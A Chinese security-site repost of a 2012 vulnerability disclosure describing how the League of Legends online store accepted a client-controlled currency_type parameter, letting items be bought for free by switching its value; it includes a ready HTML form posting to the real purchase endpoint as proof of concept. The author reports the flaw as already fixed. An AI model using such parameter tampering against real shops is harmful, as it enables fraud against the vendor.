频道栏目
首页 > 安全 > 网站安全 > 正文

英雄联盟参数控制不严导致刷钱漏洞及修复

2012-03-21 10:33:37           
收藏   我要投稿
http://store.lol.qq.com/store/purchase/item
这个action中。
currency_type参数控制不严。
比如需要游戏金币买的东西,他原本的值为
currency_type=ip
他action判断currency_type中的类型的值的数据。
如果改成currency_type=rp.因为金币道具rp(人民币)是0,所以就会不花钱购买成功。
 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 
<html xmlns="http://www.w3.org/1999/xhtml">
 
<head>
 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 
<title>无标题文档</title>
 
</head>
 
<body>
 
<form action="http://store.lol.qq.com/store/purchase/item" method="post">
 
<input name="item_id" type="text" value="boosts_9" />
 
<br />
 
<input name="currency_type" type="text" value="ip" />
 
<br />
 
<input name="quantity" type="text" value="9" />
 
<br /> www.2cto.com
 
<input name="rp" type="text" value="" />
 
<br />
 
<input name="ip" type="text" value="" />
 
<br />
 
<input name="duration_type" type="text" value="PURCHASED" />
 
<br />
 
<input name="duration" type="text" value="10" />
 
<br />
 
<input name="submit" type="submit"  value="提交"/>
 
</form>
 
</body>
 
</html>
 
item_id即为传入需要买的道具ID
漏洞证明:
 
已经和量子工作室报告过了,已经修复,我来这里赚rank的,顺便和大家分享这个问题出现的原因。
顺便答应的RMB什么时候给啊cry~~~


修复方案:
 
美国人知道
 
作者:锄禾哥@乌云
上一篇:OneForum SQL注射缺陷及修复
下一篇:渗透过程中获取root权限的一个案例
相关文章
图文推荐
文章
推荐
热门新闻

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站